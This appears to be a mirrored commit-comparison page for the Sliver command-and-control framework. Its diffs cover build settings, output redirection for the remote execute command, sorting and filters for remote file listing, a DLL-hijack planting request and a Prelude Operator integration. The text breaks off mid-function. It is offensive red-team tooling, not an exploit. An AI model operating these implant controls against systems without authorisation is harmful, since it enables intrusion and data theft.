mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 17:09:51 -10:00
Compare commits
76
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d1135d1d68 | ||
|
|
a998a571f9 | ||
|
|
ce3cee731c | ||
|
|
9e924efcb2 | ||
|
|
23309233a8 | ||
|
|
e107382d07 | ||
|
|
9ea9d1add8 | ||
|
|
bc5a622944 | ||
|
|
c24a37edcd | ||
|
|
536171e8ac | ||
|
|
4d17f0ed66 | ||
|
|
1e5bf9a39c | ||
|
|
18cb8d142d | ||
|
|
b3467e0512 | ||
|
|
8a1845baf8 | ||
|
|
00a2faf137 | ||
|
|
6fb3835e14 | ||
|
|
f3144eb919 | ||
|
|
83c5fad8eb | ||
|
|
bfe2013eb5 | ||
|
|
0923de192c | ||
|
|
c41e9dead0 | ||
|
|
e989ba581b | ||
|
|
7f9657f32d | ||
|
|
8cc3f1984a | ||
|
|
3c07043531 | ||
|
|
b60e826a02 | ||
|
|
d337d4f13c | ||
|
|
80b40341d8 | ||
|
|
c4101f502d | ||
|
|
75dd1b1a26 | ||
|
|
359746120a | ||
|
|
b08728765d | ||
|
|
69d99e28fd | ||
|
|
a811b53561 | ||
|
|
cbfae11876 | ||
|
|
b7a814f0c5 | ||
|
|
572e717634 | ||
|
|
4bf7246b0a | ||
|
|
febf50e464 | ||
|
|
59bdaa7469 | ||
|
|
cce67c289a | ||
|
|
97e7df764c | ||
|
|
33e03df1c9 | ||
|
|
d8fc1244d6 | ||
|
|
93e5d21941 | ||
|
|
7f31a9ea3e | ||
|
|
242afb0011 | ||
|
|
a427f86c4e | ||
|
|
93935b1691 | ||
|
|
a13a4dc12e | ||
|
|
4fa4562bea | ||
|
|
61b86a4a9a | ||
|
|
4c2a309054 | ||
|
|
465eb8cfee | ||
|
|
55da1a5dde | ||
|
|
bf44f379ec | ||
|
|
e5430caf8d | ||
|
|
60c5c2ee89 | ||
|
|
9cf607d155 | ||
|
|
e3a6b237f1 | ||
|
|
2c70ff1291 | ||
|
|
4a3a2a7be3 | ||
|
|
2a8f9bca18 | ||
|
|
d46a67c840 | ||
|
|
8b99a98d5e | ||
|
|
043eda5bc4 | ||
|
|
a51d93cf58 | ||
|
|
44abb0e03b | ||
|
|
09d94ab559 | ||
|
|
1420ebd447 | ||
|
|
96a531f9d4 | ||
|
|
7ef4923fc0 | ||
|
|
3f83761a90 | ||
|
|
f3bdb5cadc | ||
|
|
85265d663f |
No files matched your search
+15
-22
@@ -1,28 +1,21 @@
|
||||
assets/*.zip
|
||||
assets/darwin
|
||||
assets/linux
|
||||
assets/windows
|
||||
server/assets/fs/**.zip
|
||||
/server/assets/fs/**.zip
|
||||
|
||||
*.sdk.tar.xz
|
||||
/*.sdk.tar.xz
|
||||
|
||||
sliver-server
|
||||
sliver-server.exe
|
||||
/sliver-server
|
||||
/sliver-server.exe
|
||||
|
||||
sliver-client
|
||||
sliver-client.exe
|
||||
/sliver-client
|
||||
/sliver-client.exe
|
||||
|
||||
gui/
|
||||
gui/*
|
||||
/.vscode/
|
||||
/.vscode/*
|
||||
|
||||
.vscode/
|
||||
.vscode/*
|
||||
/.github/
|
||||
/.github/*
|
||||
|
||||
.github/
|
||||
.github/*
|
||||
|
||||
build.py
|
||||
LICENSE
|
||||
SECURITY.md
|
||||
README.md
|
||||
CONTRIBUTING.md
|
||||
/build.py
|
||||
/LICENSE
|
||||
/SECURITY.md
|
||||
/README.md
|
||||
/CONTRIBUTING.md
|
||||
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -59,10 +59,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.16"
|
||||
go-version: "^1.17"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -15,10 +15,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,10 +50,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+7
-7
@@ -1,10 +1,10 @@
|
||||
.vscode/*
|
||||
.devcontainer
|
||||
/.vscode/*
|
||||
/.devcontainer
|
||||
|
||||
Dockerfile.*
|
||||
*.sdk.tar.xz
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
release-*
|
||||
/release-*
|
||||
|
||||
# Diffs
|
||||
*.orig
|
||||
@@ -30,10 +30,10 @@ sliver-server-windows.zip
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
/*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
/*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
|
||||
+11
-8
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.16.6
|
||||
FROM golang:1.17
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# protoc
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# assets
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
|
||||
RUN ./go-assets.sh
|
||||
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
RUN ls -lah \
|
||||
&& /opt/sliver-server unpack --force \
|
||||
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
# Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
|
||||
@@ -109,7 +109,7 @@ func setupCoffLoaderExt(appDir string) error {
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manfiestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -118,7 +118,7 @@ func setupCoffLoaderExt(appDir string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manfiestPath)
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+2
-3
@@ -80,10 +80,9 @@ var rootCmd = &cobra.Command{
|
||||
|
||||
// StartClientConsole - Start the client console
|
||||
func StartClientConsole() error {
|
||||
assets.Setup(false, true)
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
@@ -94,7 +93,7 @@ func StartClientConsole() error {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %v", err)
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
@@ -52,6 +52,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/operator"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
"github.com/bishopfox/sliver/client/command/pivots"
|
||||
"github.com/bishopfox/sliver/client/command/portfwd"
|
||||
@@ -550,6 +551,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("s", "silent", false, "don't print the command output")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("e", "stderr", "", "remote path to redirect STDERR to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1049,6 +1053,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("r", "reverse", false, "reverse sort order")
|
||||
f.Bool("m", "modified", false, "sort by modified time")
|
||||
f.Bool("s", "size", false, "sort by size")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to enumerate", grumble.Default("."))
|
||||
@@ -2338,4 +2345,39 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(extensionCmd)
|
||||
// [ Prelude's Operator ] ------------------------------------------------------------
|
||||
operatorCmd := &grumble.Command{
|
||||
Name: consts.OperatorStr,
|
||||
Help: "Manage connection to Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.OperatorStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.OperatorCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
operatorCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ConnectStr,
|
||||
Help: "Connect with Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.OperatorStr, consts.ConnectStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.ConnectCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("connection-string", "connection string to the Operator Host")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
|
||||
f.String("a", "aes-key", "", "AES key for communication encryption")
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
}
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -78,7 +78,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
|
||||
@@ -36,15 +36,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
output := ctx.Flags.Bool("silent")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
token := ctx.Flags.Bool("token")
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
@@ -52,22 +59,35 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
} else if !output {
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = exec.Stdout
|
||||
con.PrintInfof("Output:\n%s", exec.Stdout)
|
||||
} else {
|
||||
con.PrintInfof("StdOut saved at %s\n", stdout)
|
||||
}
|
||||
if !ignoreStderr && stderr == "" {
|
||||
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
|
||||
con.PrintInfof("StdErr:\n%s", exec.Stderr)
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
|
||||
if ctx.Flags.Bool("loot") && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
|
||||
@@ -59,9 +59,9 @@ func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, tar
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
@@ -78,7 +78,6 @@ func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -303,7 +302,6 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -325,7 +323,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// than require another extension (a COFF loader) to be present.
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
|
||||
@@ -22,8 +22,11 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -40,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurence]
|
||||
potentialFilter := remotePath[lastSeparatorOccurence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
@@ -48,22 +90,92 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
} else {
|
||||
PrintLs(ls, con)
|
||||
PrintLs(ls, con, ctx.Flags, filter)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, fileInfo := range ls.Files {
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
|
||||
|
||||
// Extract the flags
|
||||
reverseSort := flags.Bool("reverse")
|
||||
sortByTime := flags.Bool("modified")
|
||||
sortBySize := flags.Bool("size")
|
||||
|
||||
/*
|
||||
By default, name sorting is case sensitive. Upper case entries come before
|
||||
lower case ones. Instead, we will level the playing field and sort
|
||||
regardless of case
|
||||
*/
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
}
|
||||
|
||||
/*
|
||||
After names are sorted properly, take care of the modified time if the
|
||||
user wants to sort by time. Doing this after sorting by name
|
||||
will make the time sorted entries properly sorted by name if times are equal.
|
||||
*/
|
||||
|
||||
if sortByTime {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime > ls.Files[j].ModTime
|
||||
})
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime < ls.Files[j].ModTime
|
||||
})
|
||||
}
|
||||
} else if sortBySize {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size > ls.Files[j].Size
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size < ls.Files[j].Size
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
@@ -82,31 +82,6 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
// validFormats = []string{
|
||||
// "bash",
|
||||
// "c",
|
||||
// "csharp",
|
||||
// "dw",
|
||||
// "dword",
|
||||
// "hex",
|
||||
// "java",
|
||||
// "js_be",
|
||||
// "js_le",
|
||||
// "num",
|
||||
// "perl",
|
||||
// "pl",
|
||||
// "powershell",
|
||||
// "ps1",
|
||||
// "py",
|
||||
// "python",
|
||||
// "raw",
|
||||
// "rb",
|
||||
// "ruby",
|
||||
// "sh",
|
||||
// "vbapplication",
|
||||
// "vbscript",
|
||||
// }
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Default implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Compile a Default build?"}
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
|
||||
@@ -236,7 +236,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
|
||||
|
||||
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
|
||||
|
||||
[[.Bold]][[.Underline]]Sorting[[.Normal]]
|
||||
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
|
||||
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit search results to directory and file names matching given criteria.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
|
||||
|
||||
Directory and file listings can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file and directory names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
`
|
||||
|
||||
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package operator
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
url := ctx.Args.String("connection-string")
|
||||
aesKey := ctx.Flags.String("aes-key")
|
||||
agentRange := ctx.Flags.String("range")
|
||||
skipExisting := ctx.Flags.Bool("skip-existing")
|
||||
|
||||
config := &prelude.OperatorConfig{
|
||||
Range: agentRange,
|
||||
OperatorURL: url,
|
||||
RPC: con.Rpc,
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessMapper := prelude.InitSessionMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get session list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, sess := range sessions.Sessions {
|
||||
err = sessMapper.AddSession(sess)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package operator
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
